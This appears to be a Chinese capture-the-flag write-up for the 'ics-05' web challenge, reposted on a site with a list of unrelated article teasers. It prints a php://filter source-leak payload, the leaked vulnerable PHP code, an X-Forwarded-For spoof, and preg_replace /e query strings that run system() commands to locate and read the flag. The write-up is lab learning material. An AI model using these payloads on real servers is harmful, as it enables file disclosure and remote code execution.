攻防世界-ics-05(遠程文件執行)

一.審題

大致瀏覽一下網頁,發現就這邊會有東西。看一下源碼會不會有東西或者稍微點擊一下這個頁面的內容看會不會出現東西。

點擊了一下這個云平臺設備維護中心發現url變了,是get的方法傳page參數

二.嘗試漏洞類型

自己這邊試了sql注入發現不是,試了SSTI模板注入也不是,試一下用偽協議

php://filter/read=convert.base64-encode/resource=index.php

這個偽協議其實就是一個文件讀取編譯器,我這邊的語句意思是使用php帶的讀取器通過Base64編碼讀取index的源代碼。

將得到的內容放到在現編譯器中解碼一下

三.代碼審計

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}

發現開發者溜了一個洞在這里。

可以的php函數:preg_replace($pattern,$replacement,$subject)? ? ?

看英文大概可以看出應該是字符替換之類的函數,這邊查了一下發現要是關于$pattern這個參數,這個參數末尾要是帶有/e修飾符時,$replacement會被當成php代碼執行。所以我們可以構建如下句子

preg_replace('/text/e','system('ls')','text')

這邊還要一個要繞過的是需要偽造XFF為127.0.0.1————這邊就使用burp suite去攔截get報文

解題:

發現可以,接下去就找flag

?pat=/text/e&rep=system('find / -name "*flag*"2>/dev/null')&sub=text

在最后面發現可以的文件flag.php,打開看一下

?pat=/text/e&rep=system('cat /var/www/html/s3chahahaDir/flag/flag.php ')&sub=text

發現沒有,打開源碼看一下

發現找到了.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/93090.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/93090.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/93090.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Dell PowerEdge: Servers by generation (按代系劃分的服務器)

Dell PowerEdge: Servers by generation {按代系劃分的服務器}1. Table of 17th, 16th, 15th, and 14th Generation PowerEdge servers2. List of all PowerEdge server models including Type, CPU vendor, Generation, and Remote ManagementReferencesPowerEdge: Servers by…

Rust學習筆記(二)|變量、函數與控制流

本篇文章包含的內容1 變量與常量2 類型2.1 標量類型2.2 復合類型3 函數4 控制流4.1 分支4.2 循環1 變量與常量 在Rust中&#xff0c;使用let關鍵字聲明一個變量&#xff0c;變量默認是不可變的。如果要聲明可變變量&#xff0c;需要使用mut關鍵字將其聲明為可變變量。 let x …

【渲染流水線】[幾何階段]-[圖元裝配]以UnityURP為例

【從UnityURP開始探索游戲渲染】專欄-直達 前情提要 【渲染流水線】主線索引-從數據到圖像以UnityURP為例-CSDN博客 圖元裝配負責將離散頂點組裝成完整幾何圖元&#xff08;如點、線、三角形、三角形條帶&#xff09; &#xff08;對渲染的探索是個持續不斷完善的過程&#x…

jvm有哪些垃圾回收器,實際中如何選擇?

7.G1收集器一款面向服務端應用的垃圾收集器。 特點如下&#xff1a; 并行與并發&#xff1a;G1能充分利用多CPU、多核環境下的硬 件優勢&#xff0c;使用多個CPU來縮短Stop-The-World停頓時間。部分收集器原本需要停頓Java線程來執行GC動作&#xff0c;G1收 集器仍然可以通過并…

多語言與隱形攻擊:LLM安全防線為何被頻頻突破?

你是否曾以為&#xff0c;只要加裝了“防火墻”&#xff0c;大型語言模型&#xff08;LLM&#xff09;就能高枕無憂&#xff1f;Trendoyl 的實際測試卻讓我大吃一驚&#xff1a;即便部署了 Meta 的 Llama Guard&#xff0c;攻擊者還是能輕松用多語種、字符混淆&#xff0c;甚至…

分布式光伏氣象站:為光伏電站的 “氣象感知眼”

分布式光伏氣象站&#xff1a;為光伏電站的 “氣象感知眼”柏峰 【BF-GFQX】在全球能源轉型的浪潮中&#xff0c;分布式光伏發電憑借其就近消納、清潔高效的優勢&#xff0c;成為能源結構優化的重要力量。而分布式光伏氣象站&#xff0c;作為光伏電站的 “智慧感知眼”&#xf…

TCP與UDP:如何選擇最佳傳輸協議

應用場景選擇如果需要可靠傳輸&#xff0c;首選 TCP如果需要傳輸的數據包很大&#xff0c;也首選 TCP絕大部分的場景&#xff0c;都可以優先考慮 TCPUDP 相比于 TCP&#xff0c;最大的優點在于傳輸效率有些情況&#xff0c;既需要可靠性又需要性能&#xff0c;這個時候時候就需…

《Leetcode》-面試題-hot100-棧

題目列表 20. 有效的括號 簡單難度 leetcode鏈接 155. 最小棧 中等難度 leetcode鏈接 394. 字符串解碼 中等難度 leetcode鏈接 739. 每日溫度 中等難度 leetcode鏈接 84. 柱狀圖中最大的矩形 困難難度 leetcode鏈接 題目 &#xff08;1&#xff09;有效的括號 題目 給…

GPT-5、Claude-4 同臺亮相!OneEval發布全新“大模型+知識庫”評測白皮書!

OneEval官網地址&#xff1a;http://OneEval.OpenKG.cnOneEval文章鏈接&#xff1a;https://arxiv.org/abs/2506.12577要點導讀 今年4月&#xff0c;OpenKG發布“大模型知識庫”融合能力評估榜單OneEval v1.0。近期&#xff0c;OpenKG在此基礎上&#xff0c;組織撰寫了OneEv…

【最新版】沃德云商協系統全開源+uniapp小程序

一.介紹沃德云商協是一款基于FastAdmin&#xff08;thinkphp&#xff09;Uniapp開發的“多組織”的云服務平臺&#xff0c;打造總商會、總協會、總校友會、工商聯等多組織無障礙溝通合作平臺&#xff0c;讓各大分會、各大分校友會、分組織實現輕松管理&#xff0c;線上宣傳展示…

Wireshark專家模式定位網絡故障:14種TCP異常深度解剖

TCP連接如同精密運轉的傳送帶&#xff0c;每一個異常數據包都是故障的早期信號。作為網絡工程師的“外科手術刀”&#xff0c;Wireshark在TCP故障診斷領域的價值無可替代。本文將通過14個真實故障場景&#xff0c;揭示如何利用Wireshark專家系統&#xff08;Expert System&…

Python Day28 HTML 與 CSS 核心知識點 及例題分析

一、HTML 布局標簽&#xff08;含 H5 語義化標簽&#xff09;傳統布局多使用div標簽&#xff0c;H5 新增語義化標簽增強可讀性&#xff1a;核心知識點header&#xff1a;替代div#header&#xff0c;用于頁面頭部&#xff08;如標題、導航&#xff09;。footer&#xff1a;替代d…

MySQL 數據庫表操作與查詢實戰案例

MySQL 數據庫表操作與查詢實戰案例 在數據庫學習過程中&#xff0c;熟練掌握表的創建、數據插入及各類查詢操作是基礎且重要的技能。本文將通過實際案例&#xff0c;詳細介紹 MySQL 中數據庫表的設計、數據插入以及常用的查詢操作&#xff0c;幫助初學者快速上手。 項目一&…

THCV215一種高速視頻數據收發器,采用低電壓差分信號(LVDS)技術支持高速串行數據傳輸,支持1080p/60Hz高分辨率傳輸

THCV215 是一款符合 V-by-One HS 標準的 高速視頻數據收發器。THCV215和THCV216被設計為支持主機和顯示器之間的視頻數據傳輸。該芯片組可以在20MHz至100MHz的LVDS時鐘頻率下&#xff0c;僅通過一根差分電纜傳輸39bit視頻數據和3bit同步數據。該芯片組有兩個高速數據通道&#…

Linux 系統下 VS Code 降級至 1.85 版本教程:通過歷史版本網站解決兼容性問題

一、問題背景 當前使用的 VS Code 版本為 1.102.3&#xff0c;這一版本可能是未來版本、內部測試版或 Insiders 版本&#xff0c;而目前最新的穩定版屬于 1.8x 系列。由于版本過新&#xff0c;可能導致與部分插件&#xff08;如舊版 Remote-SSH&#xff09;或系統環境不兼容。…

一個基于 PyTorch 的完整模型訓練流程

一個基于 PyTorch 的完整模型訓練流程 flyfish訓練步驟具體操作目的1. 訓練前準備設置隨機種子、配置超參數&#xff08;batch size、學習率等&#xff09;、選擇計算設備&#xff08;CPU/GPU&#xff09;確保實驗可復現&#xff1b;統一控制訓練關鍵參數&#xff1b;利用硬件加…

ffmpeg,ffplay, vlc,rtsp-simple-server,推拉流命令使用方法,及測試(二)

一、常用命令 ffmpeg 推流命令 : ffmpeg -re -i input.mp4 -c copy -f flv rtmp://39.105.129.233/myapp/ffmpeg -re -i input.mp4 -c copy -f flv rtsp://39.105.129.233/myapp/-re 讀取流 -i 輸入文件 -f # 指定推流formatffplay 拉流命令 : ffplay rtmp://39.105.129.233/m…

使用行為樹控制機器人(三) ——通用端口

文章目錄一、通用端口功能實現1. 功能實現1.1 頭文件定義1.2 源文件實現1.3 main文件實現1.4 tree.xml 實現2. 執行結果使用行為樹控制機器人(一) —— 節點使用行為樹控制機器人(二) —— 黑板使用行為樹控制機器人(三) —— 通用端口有了上述前兩節我們已經可以實現節點間的通…

DataDome反爬蟲驗證技術深度解析:無感、滑塊與設備驗證全攻略

DataDome反爬蟲驗證技術深度解析&#xff1a;無感、滑塊與設備驗證全攻略 隨著網絡安全威脅的不斷演進&#xff0c;企業對數據保護的需求日益增強。DataDome作為業界領先的反爬蟲解決方案&#xff0c;以其三層防護機制在眾多知名網站中得到廣泛應用。本文將深入解析DataDome的…

RabbitMQ 消息轉換器詳解

RabbitMQ 消息轉換器詳解 一、為什么需要消息轉換器&#xff1f; RabbitMQ 的消息傳輸協議只識別字節流&#xff1a; 發送對象時&#xff0c;需要序列化成字節數組接收消息時&#xff0c;需要將字節數組反序列化成對象 如果不使用消息轉換器&#xff1a; 需要手動序列化和反序列…